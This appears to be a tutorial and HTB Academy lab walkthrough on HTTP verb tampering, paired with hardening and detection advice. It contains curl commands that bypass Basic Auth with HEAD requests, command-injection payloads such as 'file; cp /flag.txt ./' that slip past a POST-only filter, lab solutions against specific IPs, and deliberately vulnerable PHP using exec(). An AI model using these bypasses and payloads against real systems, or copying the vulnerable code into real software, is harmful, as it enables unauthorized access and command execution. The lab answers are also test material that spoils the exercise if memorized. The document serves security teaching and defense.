HTTP Verb Tampering
βοΈ Web Server Exploitation: Exploiting HTTP methods to bypass authentication and security controls
Overview
HTTP Verb Tampering attacks exploit web servers that accept many HTTP verbs and methods. These attacks can bypass web application authorization mechanisms or security controls by sending malicious requests using unexpected HTTP methods.
Attack Types:
Insecure Web Server Configurations - Bypass HTTP Basic Authentication
Insecure Application Coding - Bypass security filters and access controls
1. Bypassing Basic Authentication
Attack Scenario
Target: Web applications with HTTP Basic Authentication protecting admin functionality
Common Vulnerable Setup:
/admin/ β Protected directory (401 Unauthorized)
/admin/reset.php β Reset functionality behind authIdentification Phase
Step 1: Discover Protected Resources
# Check if directory requires authentication
curl -i http://target.com/admin/
# Response: 401 Unauthorized + WWW-Authenticate header
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Restricted Area"Step 2: Identify Supported HTTP Methods
# Enumerate supported methods
curl -i -X OPTIONS http://target.com/admin/reset.php
# Common response
HTTP/1.1 200 OK
Allow: POST,OPTIONS,HEAD,GETExploitation Techniques
Method 1: HEAD Request Bypass
Theory: HEAD requests often bypass authentication while still executing server-side code
# Original GET request (blocked)
curl -i http://target.com/admin/reset.php
# Response: 401 Unauthorized
# HEAD request bypass
curl -i -X HEAD http://target.com/admin/reset.php
# Response: 200 OK (empty body, but function executed)Method 2: Alternative HTTP Methods
Testing different verbs:
# Test PUT method
curl -i -X PUT http://target.com/admin/reset.php
# Test DELETE method
curl -i -X DELETE http://target.com/admin/reset.php
# Test PATCH method
curl -i -X PATCH http://target.com/admin/reset.php
# Test OPTIONS method
curl -i -X OPTIONS http://target.com/admin/reset.phpBurp Suite Methodology
Step 1: Intercept Original Request
GET /admin/reset.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0...Step 2: Change Request Method
Right-click intercepted request β "Change Request Method"
Manually edit:
GETβHEADor other method
Step 3: Forward and Observe
Monitor response codes
Check if functionality executed (empty response = success for HEAD)
2. Bypassing Security Filters
Attack Scenario
Target: Web applications with security filters that only check specific HTTP methods
Common Vulnerable Setup:
POST parameters β Security filter active (blocks injections)
GET parameters β Security filter bypassed (injections allowed)Vulnerability Background
Insecure Coding Patterns:
Security filters only check
$_POSTparametersInjection detection limited to specific HTTP methods
Inconsistent input validation across methods
Missing cross-method security controls
Identification Phase
Step 1: Trigger Security Filter
# Try command injection with POST (should be blocked)
curl -X POST http://target.com/ -d "filename=test;id"
# Expected response: "Malicious Request Denied!"Step 2: Test Different HTTP Methods
# Test same payload with GET method
curl http://target.com/?filename=test;id
# May bypass filter if only POST is filteredExploitation Techniques
Method 1: POST to GET Conversion
Scenario: File upload form with injection protection
Original Request (Blocked):
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
filename=test;Response: Malicious Request Denied!
Bypass Request (Successful):
GET /?filename=test; HTTP/1.1
Host: target.comResponse: File created with special characters
Method 2: Command Injection Exploitation
Test Payload: Create two files to confirm injection
# Payload: file1; touch file2;
# URL encoded: file1%3B%20touch%20file2%3B
# POST request (blocked by filter)
curl -X POST http://target.com/ -d "filename=file1%3B%20touch%20file2%3B"
# GET request (bypasses filter)
curl "http://target.com/?filename=file1%3B%20touch%20file2%3B"Verification: Check if both file1 and file2 were created
Burp Suite Exploitation
Step 1: Capture Original POST Request
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
filename=test;Step 2: Convert POST to GET
Right-click β "Change Request Method"
Parameters automatically move to URL query string
Forward modified request
Step 3: Escalate to Command Injection
GET /?filename=file1%3B%20touch%20file2%3B HTTP/1.1
Host: target.comHTB Academy Lab Solutions
Lab: File Manager Authentication Bypass
Target: http://94.237.50.221:38391
Objective: Access /admin/reset.php without credentials to delete all files
Step-by-Step Solution:
1. Initial Reconnaissance
# Check the application
curl -i http://94.237.50.221:38391/
# Try accessing admin area (should prompt for auth)
curl -i http://94.237.50.221:38391/admin/reset.php
# Response: 401 Unauthorized2. Enumerate HTTP Methods
# Check supported methods
curl -i -X OPTIONS http://94.237.50.221:38391/admin/reset.php
# Expected response:
# Allow: POST,OPTIONS,HEAD,GET3. Bypass with HEAD Request
# Execute reset function with HEAD method
curl -i -X HEAD http://94.237.50.221:38391/admin/reset.php
# Response: 200 OK (empty body)
# Files should be deleted successfully4. Verification
# Verify files are deleted
curl -i http://94.237.50.221:38391/
# Should show empty file managerπ― Flag: HTB{...}
Lab 2: Command Injection Filter Bypass
Target: http://94.237.57.115:43846
Objective: Bypass security filter and execute command: file; cp /flag.txt ./
Step-by-Step Solution:
1. Test Security Filter
# Try malicious filename with POST (should be blocked)
curl -X POST http://94.237.57.115:43846/ -d "filename=test;"
# Expected: "Malicious Request Denied!"2. Bypass Filter with GET Method
# Convert POST to GET to bypass filter
curl "http://94.237.57.115:43846/?filename=test;"
# Should create file with special characters (no error)3. Execute Command Injection
# Use payload to copy flag file
curl "http://94.237.57.115:43846/?filename=file;%20cp%20/flag.txt%20./"
# URL decoded payload: file; cp /flag.txt ./4. Verification
# Check if flag.txt was copied to web directory
curl http://94.237.57.115:43846/flag.txt
# Should display the flag contentAlternative Burp Method:
Intercept POST request with payload:
filename=file; cp /flag.txt ./Right-click β "Change Request Method" β Convert to GET
Forward request
Access
http://94.237.57.115:43846/flag.txtto retrieve flag
Common HTTP Methods for Testing
Standard Methods
GET # Default - usually protected
POST # Form submissions - usually protected
HEAD # Like GET but no body - often bypasses auth
PUT # Upload/update - may bypass filters
DELETE # Remove resources - may bypass restrictions
PATCH # Partial updates - often overlooked
OPTIONS # Method enumeration - usually allowedExtended Methods
TRACE # Debugging method - may reveal headers
CONNECT # Proxy method - rarely filtered
TRACK # Microsoft extension - may bypass
COPY # WebDAV method - may access resources
MOVE # WebDAV method - may modify resources
LOCK # WebDAV method - may control resourcesAutomated Testing
Custom Script for Method Testing
#!/bin/bash
# http-verb-test.sh
URL="$1"
METHODS=("GET" "POST" "HEAD" "PUT" "DELETE" "PATCH" "OPTIONS" "TRACE")
echo "Testing HTTP methods on: $URL"
echo "================================"
for method in "${METHODS[@]}"; do
echo -n "Testing $method: "
response=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "$URL")
echo "HTTP $response"
doneUsage:
chmod +x http-verb-test.sh
./http-verb-test.sh http://target.com/admin/reset.phpBurp Suite Intruder
Setup:
Send request to Intruder
Set position on HTTP method
Payload list: GET, POST, HEAD, PUT, DELETE, PATCH, OPTIONS
Start attack and analyze response codes
Vulnerable Code Examples
PHP - Insecure Authentication Handling
<?php
// Vulnerable: Only checks authentication for GET
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Admin"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
}
// Dangerous: Function executes regardless of method
if (isset($_GET['action']) && $_GET['action'] == 'reset') {
unlink_all_files(); // Executes for HEAD, POST, etc.
}
?>PHP - Insecure Security Filter
<?php
// Vulnerable: Security filter only checks POST parameters
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$filename = $_POST['filename'];
// Security filter for POST only
if (preg_match('/[;|&`$]/', $filename)) {
die("Malicious Request Denied!");
}
}
// Dangerous: GET parameters bypass security filter
if (isset($_GET['filename'])) {
$filename = $_GET['filename']; // No filtering!
// Command injection vulnerability
exec("touch uploads/" . $filename);
}
// Processing without method validation
if (isset($_POST['filename']) || isset($_GET['filename'])) {
$file = $_POST['filename'] ?? $_GET['filename'];
exec("touch uploads/" . $file); // Vulnerable to injection
}
?>Secure Implementation
<?php
// Secure: Check authentication for all methods
function require_auth() {
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Admin"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
}
// Secure: Consistent input validation across all methods
function validate_filename($filename) {
// Block dangerous characters regardless of method
if (preg_match('/[;|&`$<>]/', $filename)) {
die("Invalid filename!");
}
// Whitelist approach
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
die("Filename contains invalid characters!");
}
return true;
}
// Check auth before any processing
require_auth();
// Secure: Get input from any method with validation
$filename = '';
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['filename'])) {
$filename = $_POST['filename'];
} elseif ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['filename'])) {
$filename = $_GET['filename'];
}
// Apply security filter regardless of HTTP method
if (!empty($filename)) {
validate_filename($filename);
// Safe file creation with sanitization
$safe_filename = basename($filename);
touch("uploads/" . $safe_filename);
}
?>Prevention & Hardening
Web Server Configuration
Apache (.htaccess)
# Restrict HTTP methods globally
<Limit GET POST>
Require valid-user
</Limit>
# Block specific methods
<LimitExcept GET POST>
Require all denied
</LimitExcept>Nginx
# Limit allowed methods
if ($request_method !~ ^(GET|POST)$ ) {
return 405;
}
# Apply auth to all methods
location /admin/ {
auth_basic "Restricted Area";
auth_basic_user_file /etc/nginx/.htpasswd;
# Ensure auth applies to all methods
limit_except GET POST {
deny all;
}
}Application-Level Controls
Comprehensive Method Checking:
<?php
// Define allowed methods for each endpoint
$allowed_methods = ['GET', 'POST'];
$current_method = $_SERVER['REQUEST_METHOD'];
if (!in_array($current_method, $allowed_methods)) {
header('HTTP/1.1 405 Method Not Allowed');
header('Allow: ' . implode(', ', $allowed_methods));
exit;
}
// Apply authentication to all allowed methods
require_authentication();
?>Detection & Monitoring
Log Analysis
# Monitor for unusual HTTP methods
grep -E "(HEAD|PUT|DELETE|PATCH|TRACE|OPTIONS)" /var/log/apache2/access.log
# Look for 200 responses to HEAD requests on admin paths
grep "HEAD.*admin.*200" /var/log/apache2/access.logSecurity Headers
# Server response should include
Allow: GET, POST
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENYHTTP Verb Tampering attacks highlight the importance of comprehensive method validation and consistent security controls across all HTTP verbs.
Last updated